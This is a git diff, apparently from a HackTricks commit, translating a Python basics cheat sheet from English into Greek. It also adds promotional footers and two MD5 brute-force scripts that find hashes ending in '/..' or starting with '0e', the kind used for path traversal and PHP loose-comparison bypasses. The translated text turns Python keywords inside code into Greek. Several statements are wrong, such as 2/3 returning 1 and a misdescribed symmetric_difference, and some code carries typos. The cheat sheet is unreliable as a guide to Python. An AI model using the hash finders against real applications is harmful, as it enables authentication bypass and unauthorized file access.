Εάν κάνετε 2/3 επιστρέφει 1 επειδή διαιρείτε δύο ακέραιους αριθμούς (integers). Εάν θέλετε δεκαδικά ψηφία θα πρέπει να διαιρέσετε δεκαδικούς αριθμούς (2.0/3.0).\
|
||||
i >= j\
|
||||
i <= j\
|
||||
i == j\
|
||||
|
@ -46,296 +46,278 @@ isinstance(1, int) = True\
|
|||
"abcdef".contains("abc") = True\
|
||||
"abc\n".strip() = "abc"\
|
||||
"apbc".replace("p","") = "abc"\
|
||||
dir(str) = List of all the available methods\
|
||||
help(str) = Definition of the class str\
|
||||
dir(str) = Λίστα με όλες τις διαθέσιμες μεθόδους\
|
||||
help(str) = Ορισμός της κλάσης str\
|
||||
"a".upper() = "A"\
|
||||
"A".lower() = "a"\
|
||||
"abc".capitalize() = "Abc"\
|
||||
sum(\[1,2,3]) = 6\
|
||||
sorted(\[1,43,5,3,21,4])
|
||||
|
||||
**Join chars**\
|
||||
**Ένωση χαρακτήρων**\
|
||||
3 \* ’a’ = ‘aaa’\
|
||||
‘a’ + ‘b’ = ‘ab’\
|
||||
‘a’ + str(3) = ‘a3’\
|
||||
\[1,2,3]+\[4,5]=\[1,2,3,4,5]
|
||||
|
||||
**Parts of a list**\
|
||||
**Μέρη μιας λίστας**\
|
||||
‘abc’\[0] = ‘a’\
|
||||
'abc’\[-1] = ‘c’\
|
||||
'abc’\[1:3] = ‘bc’ from \[1] to \[2]\
|
||||
'abc’\[1:3] = ‘bc’ από \[1] έως \[2]\
|
||||
"qwertyuiop"\[:-1] = 'qwertyuio'
|
||||
|
||||
**Comments**\
|
||||
\# One line comment\
|
||||
**Σχόλια**\
|
||||
\# Σχόλιο μιας γραμμής\
|
||||
"""\
|
||||
Several lines comment\
|
||||
Another one\
|
||||
Πολλαπλά σχόλια γραμμών\
|
||||
Άλλο ένα\
|
||||
"""
|
||||
|
||||
**Loops**
|
||||
|
||||
**Βρόχοι**
|
||||
```
|
||||
if a:
|
||||
#somethig
|
||||
#somethig
|
||||
elif b:
|
||||
#something
|
||||
#something
|
||||
else:
|
||||
#something
|
||||
#something
|
||||
|
||||
while(a):
|
||||
#comething
|
||||
#comething
|
||||
|
||||
for i in range(0,100):
|
||||
#something from 0 to 99
|
||||
#something from 0 to 99
|
||||
|
||||
for letter in "hola":
|
||||
#something with a letter in "hola"
|
||||
#something with a letter in "hola"
|
||||
```
|
||||
### Πλειάδες (Tuples)
|
||||
|
||||
### Tuples
|
||||
t1 = (1, '2', 'τρία')\
|
||||
t2 = (5, 6)\
|
||||
t3 = t1 + t2 = (1, '2', 'τρία', 5, 6)\
|
||||
(4,) = Μοναδικός\
|
||||
d = () κενή πλειάδα\
|
||||
d += (4,) --> Προσθήκη σε πλειάδα\
|
||||
ΔΕΝ ΓΙΝΕΤΑΙ! --> t1\[1] == 'Νέα τιμή'\
|
||||
list(t2) = \[5, 6] --> Από πλειάδα σε λίστα
|
||||
|
||||
t1 = (1,'2,'three')\
|
||||
t2 = (5,6)\
|
||||
t3 = t1 + t2 = (1, '2', 'three', 5, 6)\
|
||||
(4,) = Singelton\
|
||||
d = () empty tuple\
|
||||
d += (4,) --> Adding into a tuple\
|
||||
CANT! --> t1\[1] == 'New value'\
|
||||
list(t2) = \[5,6] --> From tuple to list
|
||||
### Λίστες (Πίνακες)
|
||||
|
||||
### List (array)
|
||||
d = \[] κενή\
|
||||
a = \[1, 2, 3]\
|
||||
b = \[4, 5]\
|
||||
a + b = \[1, 2, 3, 4, 5]\
|
||||
b.append(6) = \[4, 5, 6]\
|
||||
tuple(a) = (1, 2, 3) --> Από λίστα σε πλειάδα
|
||||
|
||||
d = \[] empty\
|
||||
a = \[1,2,3]\
|
||||
b = \[4,5]\
|
||||
a + b = \[1,2,3,4,5]\
|
||||
b.append(6) = \[4,5,6]\
|
||||
tuple(a) = (1,2,3) --> From list to tuple
|
||||
### Λεξικά (Dictionaries)
|
||||
|
||||
### Dictionary
|
||||
|
||||
d = {} empty\
|
||||
monthNumbers={1:’Jan’, 2: ‘feb’,’feb’:2}—> monthNumbers ->{1:’Jan’, 2: ‘feb’,’feb’:2}\
|
||||
monthNumbers\[1] = ‘Jan’\
|
||||
monthNumbers\[‘feb’] = 2\
|
||||
list(monthNumbers) = \[1,2,’feb’]\
|
||||
monthNumbers.values() = \[‘Jan’,’feb’,2]\
|
||||
d = {} κενό\
|
||||
monthNumbers = {1: 'Ιαν', 2: 'φεβ', 'φεβ': 2} --> monthNumbers -> {1: 'Ιαν', 2: 'φεβ', 'φεβ': 2}\
|
||||
monthNumbers\[1] = 'Ιαν'\
|
||||
monthNumbers\[‘φεβ’] = 2\
|
||||
list(monthNumbers) = \[1, 2, 'φεβ']\
|
||||
monthNumbers.values() = \['Ιαν', 'φεβ', 2]\
|
||||
keys = \[k for k in monthNumbers]\
|
||||
a={'9':9}\
|
||||
monthNumbers.update(a) = {'9':9, 1:’Jan’, 2: ‘feb’,’feb’:2}\
|
||||
mN = monthNumbers.copy() #Independent copy\
|
||||
monthNumbers.get('key',0) #Check if key exists, Return value of monthNumbers\["key"] or 0 if it does not exists
|
||||
a = {'9': 9}\
|
||||
monthNumbers.update(a) = {'9': 9, 1: 'Ιαν', 2: 'φεβ', 'φεβ': 2}\
|
||||
mN = monthNumbers.copy() #Ανεξάρτητο αντίγραφο\
|
||||
monthNumbers.get('key', 0) #Έλεγχος αν υπάρχει το κλειδί, Επιστροφή της τιμής του monthNumbers\["key"] ή 0 αν δεν υπάρχει
|
||||
|
||||
### Set
|
||||
### Σύνολα (Sets)
|
||||
|
||||
In sets there are no repetitions\
|
||||
myset = set(\['a', 'b']) = {'a', 'b'}\
|
||||
myset.add('c') = {'a', 'b', 'c'}\
|
||||
myset.add('a') = {'a', 'b', 'c'} #No repetitions\
|
||||
myset.update(\[1,2,3]) = set(\['a', 1, 2, 'b', 'c', 3])\
|
||||
myset.discard(10) #If present, remove it, if not, nothing\
|
||||
myset.remove(10) #If present remove it, if not, rise exception\
|
||||
Στα σύνολα δεν υπάρχουν επαναλήψεις\
|
||||
myset = set(\['α', 'β']) = {'α', 'β'}\
|
||||
myset.add('γ') = {'α', 'β', 'γ'}\
|
||||
myset.add('α') = {'α', 'β', 'γ'} #Χωρίς επανάληψη\
|
||||
myset.update(\[1, 2, 3]) = set(\['α', 1, 2, 'β', 'γ', 3])\
|
||||
myset.discard(10) #Αν υπάρχει, αφαίρεσέ το, αλλιώς τίποτα\
|
||||
myset.remove(10) #Αν υπάρχει, αφαίρεσέ το, αλλιώς αναίρεση\
|
||||
myset2 = set(\[1, 2, 3, 4])\
|
||||
myset.union(myset2) #Values it myset OR myset2\
|
||||
myset.intersection(myset2) #Values in myset AND myset2\
|
||||
myset.difference(myset2) #Values in myset but not in myset2\
|
||||
myset.symmetric\_difference(myset2) #Values that are not in myset AND myset2 (not in both)\
|
||||
myset.pop() #Get the first element of the set and remove it\
|
||||
myset.intersection\_update(myset2) #myset = Elements in both myset and myset2\
|
||||
myset.difference\_update(myset2) #myset = Elements in myset but not in myset2\
|
||||
myset.symmetric\_difference\_update(myset2) #myset = Elements that are not in both
|
||||
myset.union(myset2) #Τιμές που υπάρχουν στο myset Ή myset2\
|
||||
myset.intersection(myset2) #Τιμές που υπάρχουν και στο myset ΚΑΙ myset2\
|
||||
myset.difference(myset2) #Τιμές που υπάρχουν στο myset αλλά όχι στο myset2\
|
||||
myset.symmetric\_difference(myset2) #Τιμές που δεν υπάρχουν ούτε στο myset ΟΥΤΕ myset2 (δεν υπάρχουν και στα δύο)\
|
||||
myset.pop() #Πάρε το πρώτο στοιχείο του συνόλου και αφαίρεσέ το\
|
||||
myset.intersection\_update(myset2) #myset = Στοιχεία που υπάρχουν και στο myset και στο myset2\
|
||||
myset.difference\_update(myset2) #myset = Στοιχεία που υπάρχουν στο myset αλλά όχι στο myset2\
|
||||
myset.symmetric\_difference\_update(myset2) #myset = Στοιχεία που δεν υπάρχουν ούτε στο myset ΟΥΤΕ myset2
|
||||
|
||||
### Classes
|
||||
|
||||
The method in \_\_It\_\_ will be the one used by sort to compare if an object of this class is bigger than other
|
||||
### Κλάσεις (Classes)
|
||||
|
||||
Η μέθοδος στο \_\_It\_\_ θα χρησιμοποιηθεί από την sort για να συγκρίνει αν ένα αντικείμενο αυτής της κλάσης είναι μεγαλύτερο από ένα άλλο
|
||||
```python
|
||||
class Person(name):
|
||||
def __init__(self,name):
|
||||
self.name= name
|
||||
self.lastName = name.split(‘ ‘)[-1]
|
||||
self.birthday = None
|
||||
def __It__(self, other):
|
||||
if self.lastName == other.lastName:
|
||||
return self.name < other.name
|
||||
return self.lastName < other.lastName #Return True if the lastname is smaller
|
||||
def __init__(self,name):
|
||||
self.name= name
|
||||
self.lastName = name.split(‘ ‘)[-1]
|
||||
self.birthday = None
|
||||
def __It__(self, other):
|
||||
if self.lastName == other.lastName:
|
||||
return self.name < other.name
|
||||
return self.lastName < other.lastName #Return True if the lastname is smaller
|
||||
|
||||
def setBirthday(self, month, day. year):
|
||||
self.birthday = date tame.date(year,month,day)
|
||||
def getAge(self):
|
||||
return (date time.date.today() - self.birthday).days
|
||||
def setBirthday(self, month, day. year):
|
||||
self.birthday = date tame.date(year,month,day)
|
||||
def getAge(self):
|
||||
return (date time.date.today() - self.birthday).days
|
||||
|
||||
|
||||
class MITPerson(Person):
|
||||
nextIdNum = 0 # Attribute of the Class
|
||||
def __init__(self, name):
|
||||
Person.__init__(self,name)
|
||||
self.idNum = MITPerson.nextIdNum —> Accedemos al atributo de la clase
|
||||
MITPerson.nextIdNum += 1 #Attribute of the class +1
|
||||
nextIdNum = 0 # Attribute of the Class
|
||||
def __init__(self, name):
|
||||
Person.__init__(self,name)
|
||||
self.idNum = MITPerson.nextIdNum —> Accedemos al atributo de la clase
|
||||
MITPerson.nextIdNum += 1 #Attribute of the class +1
|
||||
|
||||
def __it__(self, other):
|
||||
return self.idNum < other.idNum
|
||||
def __it__(self, other):
|
||||
return self.idNum < other.idNum
|
||||
```
|
||||
### map, zip, filter, lambda, sorted και μία γραμμή
|
||||
|
||||
### map, zip, filter, lambda, sorted and one-liners
|
||||
|
||||
**Map** is like: \[f(x) for x in iterable] --> map(tutple,\[a,b]) = \[(1,2,3),(4,5)]\
|
||||
Το **Map** είναι σαν: \[f(x) για x σε iterable] --> map(tutple,\[a,b]) = \[(1,2,3),(4,5)]\
|
||||
m = map(lambda x: x % 3 == 0, \[1, 2, 3, 4, 5, 6, 7, 8, 9]) --> \[False, False, True, False, False, True, False, False, True]
|
||||
|
||||
**zip** stops when the shorter of foo or bar stops:
|
||||
|
||||
**Zip** σταματάει όταν το μικρότερο από τα foo ή bar σταματήσει:
|
||||
```
|
||||
for f, b in zip(foo, bar):
|
||||
print(f, b)
|
||||
print(f, b)
|
||||
```
|
||||
|
||||
**Lambda** is used to define a function\
|
||||
(lambda x,y: x+y)(5,3) = 8 --> Use lambda as simple **function**\
|
||||
**sorted**(range(-5,6), key=lambda x: x\*\* 2) = \[0, -1, 1, -2, 2, -3, 3, -4, 4, -5, 5] --> Use lambda to sort a list\
|
||||
m = **filter**(lambda x: x % 3 == 0, \[1, 2, 3, 4, 5, 6, 7, 8, 9]) = \[3, 6, 9] --> Use lambda to filter\
|
||||
**Lambda** χρησιμοποιείται για να ορίσει μια συνάρτηση\
|
||||
(lambda x,y: x+y)(5,3) = 8 --> Χρησιμοποιήστε το lambda ως απλή **συνάρτηση**\
|
||||
**sorted**(range(-5,6), key=lambda x: x\*\* 2) = \[0, -1, 1, -2, 2, -3, 3, -4, 4, -5, 5] --> Χρησιμοποιήστε το lambda για να ταξινομήσετε μια λίστα\
|
||||
m = **filter**(lambda x: x % 3 == 0, \[1, 2, 3, 4, 5, 6, 7, 8, 9]) = \[3, 6, 9] --> Χρησιμοποιήστε το lambda για να φιλτράρετε\
|
||||
**reduce** (lambda x,y: x\*y, \[1,2,3,4]) = 24
|
||||
|
||||
```
|
||||
def make_adder(n):
|
||||
return lambda x: x+n
|
||||
return lambda x: x+n
|
||||
plus3 = make_adder(3)
|
||||
plus3(4) = 7 # 3 + 4 = 7
|
||||
|
||||
class Car:
|
||||
crash = lambda self: print('Boom!')
|
||||
crash = lambda self: print('Boom!')
|
||||
my_car = Car(); my_car.crash() = 'Boom!'
|
||||
```
|
||||
mult1 = \[x για x σε \[1, 2, 3, 4, 5, 6, 7, 8, 9] αν x%3 == 0 ]
|
||||
|
||||
mult1 = \[x for x in \[1, 2, 3, 4, 5, 6, 7, 8, 9] if x%3 == 0 ]
|
||||
|
||||
### Exceptions
|
||||
|
||||
### Εξαιρέσεις
|
||||
```
|
||||
def divide(x,y):
|
||||
try:
|
||||
result = x/y
|
||||
except ZeroDivisionError, e:
|
||||
print “division by zero!” + str(e)
|
||||
except TypeError:
|
||||
divide(int(x),int(y))
|
||||
else:
|
||||
print “result i”, result
|
||||
finally
|
||||
print “executing finally clause in any case”
|
||||
def divide(x,y):
|
||||
try:
|
||||
result = x/y
|
||||
except ZeroDivisionError, e:
|
||||
print “division by zero!” + str(e)
|
||||
except TypeError:
|
||||
divide(int(x),int(y))
|
||||
else:
|
||||
print “result i”, result
|
||||
finally
|
||||
print “executing finally clause in any case”
|
||||
```
|
||||
|
||||
### Assert()
|
||||
|
||||
If the condition is false the string will be printed in the screen
|
||||
|
||||
Εάν η συνθήκη είναι ψευδής, η συμβολοσειρά θα εκτυπωθεί στην οθόνη.
|
||||
```
|
||||
def avg(grades, weights):
|
||||
assert not len(grades) == 0, 'no grades data'
|
||||
assert len(grades) == 'wrong number grades'
|
||||
assert not len(grades) == 0, 'no grades data'
|
||||
assert len(grades) == 'wrong number grades'
|
||||
```
|
||||
### Γεννήτριες, yield
|
||||
|
||||
### Generators, yield
|
||||
|
||||
A generator, instead of returning something, it "yields" something. When you access it, it will "return" the first value generated, then, you can access it again and it will return the next value generated. So, all the values are not generated at the same time and a lot of memory could be saved using this instead of a list with all the values.
|
||||
|
||||
Μια γεννήτρια, αντί να επιστρέφει κάτι, "παράγει" κάτι. Όταν την αποκτάτε πρόσβαση, θα "επιστρέψει" την πρώτη τιμή που παράχθηκε, και στη συνέχεια μπορείτε να την αποκτήσετε ξανά και θα επιστρέψει την επόμενη τιμή που παράχθηκε. Έτσι, όλες οι τιμές δεν παράγονται ταυτόχρονα και μπορεί να εξοικονομηθεί πολύ μνήμη χρησιμοποιώντας αυτό αντί για μια λίστα με όλες τις τιμές.
|
||||
```
|
||||
def myGen(n):
|
||||
yield n
|
||||
yield n + 1
|
||||
yield n
|
||||
yield n + 1
|
||||
```
|
||||
|
||||
g = myGen(6) --> 6\
|
||||
next(g) --> 7\
|
||||
next(g) --> Error
|
||||
next(g) --> Σφάλμα
|
||||
|
||||
### Regular Expresions
|
||||
### Κανονικές εκφράσεις
|
||||
|
||||
import re\
|
||||
re.search("\w","hola").group() = "h"\
|
||||
re.findall("\w","hola") = \['h', 'o', 'l', 'a']\
|
||||
re.findall("\w+(la)","hola caracola") = \['la', 'la']
|
||||
|
||||
**Special meanings:**\
|
||||
. --> Everything\
|
||||
**Ειδικές σημασίες:**\
|
||||
. --> Όλα\
|
||||
\w --> \[a-zA-Z0-9\_]\
|
||||
\d --> Number\
|
||||
\s --> WhiteSpace char\[ \n\r\t\f]\
|
||||
\S --> Non-whitespace char\
|
||||
^ --> Starts with\
|
||||
$ --> Ends with\
|
||||
\+ --> One or more\
|
||||
\* --> 0 or more\
|
||||
? --> 0 or 1 occurrences
|
||||
\d --> Αριθμός\
|
||||
\s --> Χαρακτήρας κενού διαστήματος\[ \n\r\t\f]\
|
||||
\S --> Χαρακτήρας μη κενού διαστήματος\
|
||||
^ --> Αρχίζει με\
|
||||
$ --> Τελειώνει με\
|
||||
\+ --> Ένας ή περισσότεροι\
|
||||
\* --> 0 ή περισσότεροι\
|
||||
? --> 0 ή 1 εμφανίσεις
|
||||
|
||||
**Options:**\
|
||||
**Επιλογές:**\
|
||||
re.search(pat,str,re.IGNORECASE)\
|
||||
IGNORECASE\
|
||||
DOTALL --> Allow dot to match newline\
|
||||
MULTILINE --> Allow ^ and $ to match in different lines
|
||||
DOTALL --> Επιτρέπει την αντιστοίχιση του τελείας με νέα γραμμή\
|
||||
MULTILINE --> Επιτρέπει την αντιστοίχιση του ^ και του $ σε διαφορετικές γραμμές
|
||||
|
||||
re.findall("<.\*>", "\<b>foo\</b>and\<i>so on\</i>") = \['\<b>foo\</b>and\<i>so on\</i>']\
|
||||
re.findall("<.\*?>", "\<b>foo\</b>and\<i>so on\</i>") = \['\<b>', '\</b>', '\<i>', '\</i>']
|
||||
|
||||
IterTools\
|
||||
**product**\
|
||||
from **itertools** import product --> Generates combinations between 1 or more lists, perhaps repeating values, cartesian product (distributive property)\
|
||||
from **itertools** import product --> Δημιουργεί συνδυασμούς μεταξύ 1 ή περισσότερων λιστών, ίσως επαναλαμβανόμενες τιμές, καρτεσιανό γινόμενο (ιδιότητα διανομής)\
|
||||
print list(**product**(\[1,2,3],\[3,4])) = \[(1, 3), (1, 4), (2, 3), (2, 4), (3, 3), (3, 4)]\
|
||||
print list(**product**(\[1,2,3],repeat = 2)) = \[(1, 1), (1, 2), (1, 3), (2, 1), (2, 2), (2, 3), (3, 1), (3, 2), (3, 3)]
|
||||
|
||||
**permutations**\
|
||||
from **itertools** import **permutations** --> Generates combinations of all characters in every position\
|
||||
print list(permutations(\['1','2','3'])) = \[('1', '2', '3'), ('1', '3', '2'), ('2', '1', '3'),... Every posible combination\
|
||||
print(list(permutations('123',2))) = \[('1', '2'), ('1', '3'), ('2', '1'), ('2', '3'), ('3', '1'), ('3', '2')] Every possible combination of length 2
|
||||
from **itertools** import **permutations** --> Δημιουργεί συνδυασμούς όλων των χαρακτήρων σε κάθε θέση\
|
||||
print list(permutations(\['1','2','3'])) = \[('1', '2', '3'), ('1', '3', '2'), ('2', '1', '3'),... Κάθε δυνατός συνδυασμός\
|
||||
print(list(permutations('123',2))) = \[('1', '2'), ('1', '3'), ('2', '1'), ('2', '3'), ('3', '1'), ('3', '2')] Κάθε δυνατός συνδυασμός μήκους 2
|
||||
|
||||
**combinations**\
|
||||
from itertools import **combinations** --> Generates all possible combinations without repeating characters (if "ab" existing, doesn't generate "ba")\
|
||||
from itertools import **combinations** --> Δημιουργεί όλους τους δυνατούς συνδυασμούς χωρίς επανάληψη χαρακτήρων (αν υπάρχει "ab", δεν δημιουργεί "ba")\
|
||||
print(list(**combinations**('123',2))) --> \[('1', '2'), ('1', '3'), ('2', '3')]
|
||||
|
||||
**combinations\_with\_replacement**\
|
||||
from itertools import **combinations\_with\_replacement** --> Generates all possible combinations from the char onwards(for example, the 3rd is mixed from the 3rd onwards but not with the 2nd o first)\
|
||||
from itertools import **combinations\_with\_replacement** --> Δημιουργεί όλους τους δυνατούς συνδυασμούς από τον χαρακτήρα και μετά (για παράδειγμα, το 3ο ανακατεύεται από το 3ο και μετά, αλλά όχι με το 2ο ή το 1ο)\
|
||||
print(list(**combinations\_with\_replacement**('1133',2))) = \[('1', '1'), ('1', '1'), ('1', '3'), ('1', '3'), ('1', '1'), ('1', '3'), ('1', '3'), ('3', '3'), ('3', '3'), ('3', '3')]
|
||||
|
||||
### Decorators
|
||||
|
||||
Decorator that size the time that a function needs to be executed (from [here](https://towardsdatascience.com/decorating-functions-in-python-619cbbe82c74)):
|
||||
### Διακοσμητές
|
||||
|
||||
Διακοσμητής που μετρά τον χρόνο που χρειάζεται μια συνάρτηση για να εκτελεστεί (από [εδώ](https://towardsdatascience.com/decorating-functions-in-python-619cbbe82c74)):
|
||||
```python
|
||||
from functools import wraps
|
||||
import time
|
||||
def timeme(func):
|
||||
@wraps(func)
|
||||
def wrapper(*args, **kwargs):
|
||||
print("Let's call our decorated function")
|
||||
start = time.time()
|
||||
result = func(*args, **kwargs)
|
||||
print('Execution time: {} seconds'.format(time.time() - start))
|
||||
return result
|
||||
return wrapper
|
||||
@wraps(func)
|
||||
def wrapper(*args, **kwargs):
|
||||
print("Let's call our decorated function")
|
||||
start = time.time()
|
||||
result = func(*args, **kwargs)
|
||||
print('Execution time: {} seconds'.format(time.time() - start))
|
||||
return result
|
||||
return wrapper
|
||||
|
||||
@timeme
|
||||
def decorated_func():
|
||||
print("Decorated func!")
|
||||
print("Decorated func!")
|
||||
```
|
||||
|
||||
If you run it, you will see something like the following:
|
||||
|
||||
Εάν το εκτελέσετε, θα δείτε κάτι παρόμοιο με το παρακάτω:
|
||||
```
|
||||
Let's call our decorated function
|
||||
Decorated func!
|
||||
Execution time: 4.792213439941406e-05 seconds
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,32 +1,28 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
```python
|
||||
import hashlib
|
||||
|
||||
target = '2f2e2e' #/..
|
||||
candidate = 0
|
||||
while True:
|
||||
plaintext = str(candidate)
|
||||
hash = hashlib.md5(plaintext.encode('ascii')).hexdigest()
|
||||
if hash[-1*(len(target)):] == target: #End in target
|
||||
print('plaintext:"' + plaintext + '", md5:' + hash)
|
||||
break
|
||||
candidate = candidate + 1
|
||||
plaintext = str(candidate)
|
||||
hash = hashlib.md5(plaintext.encode('ascii')).hexdigest()
|
||||
if hash[-1*(len(target)):] == target: #End in target
|
||||
print('plaintext:"' + plaintext + '", md5:' + hash)
|
||||
break
|
||||
candidate = candidate + 1
|
||||
```
|
||||
|
||||
```python
|
||||
|
@ -36,50 +32,45 @@ from multiprocessing import Process, Queue, cpu_count
|
|||
|
||||
|
||||
def loose_comparison(queue, num):
|
||||
target = '0e'
|
||||
plaintext = f"a_prefix{str(num)}a_suffix"
|
||||
hash = hashlib.md5(plaintext.encode('ascii')).hexdigest()
|
||||
target = '0e'
|
||||
plaintext = f"a_prefix{str(num)}a_suffix"
|
||||
hash = hashlib.md5(plaintext.encode('ascii')).hexdigest()
|
||||
|
||||
if hash[:len(target)] == target and not any(x in "abcdef" for x in hash[2:]):
|
||||
print('plaintext: ' + plaintext + ', md5: ' + hash)
|
||||
queue.put("done") # triggers program exit
|
||||
if hash[:len(target)] == target and not any(x in "abcdef" for x in hash[2:]):
|
||||
print('plaintext: ' + plaintext + ', md5: ' + hash)
|
||||
queue.put("done") # triggers program exit
|
||||
|
||||
def worker(queue, thread_i, threads):
|
||||
for num in range(thread_i, 100**50, threads):
|
||||
loose_comparison(queue, num)
|
||||
for num in range(thread_i, 100**50, threads):
|
||||
loose_comparison(queue, num)
|
||||
|
||||
def main():
|
||||
procs = []
|
||||
queue = Queue()
|
||||
threads = cpu_count() # 2
|
||||
procs = []
|
||||
queue = Queue()
|
||||
threads = cpu_count() # 2
|
||||
|
||||
for thread_i in range(threads):
|
||||
proc = Process(target=worker, args=(queue, thread_i, threads ))
|
||||
proc.daemon = True # kill all subprocess when main process exits.
|
||||
procs.append(proc)
|
||||
proc.start()
|
||||
for thread_i in range(threads):
|
||||
proc = Process(target=worker, args=(queue, thread_i, threads ))
|
||||
proc.daemon = True # kill all subprocess when main process exits.
|
||||
procs.append(proc)
|
||||
proc.start()
|
||||
|
||||
while queue.empty(): # exits when a subprocess is done
|
||||
pass
|
||||
return 0
|
||||
while queue.empty(): # exits when a subprocess is done
|
||||
pass
|
||||
return 0
|
||||
|
||||
main()
|
||||
```
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
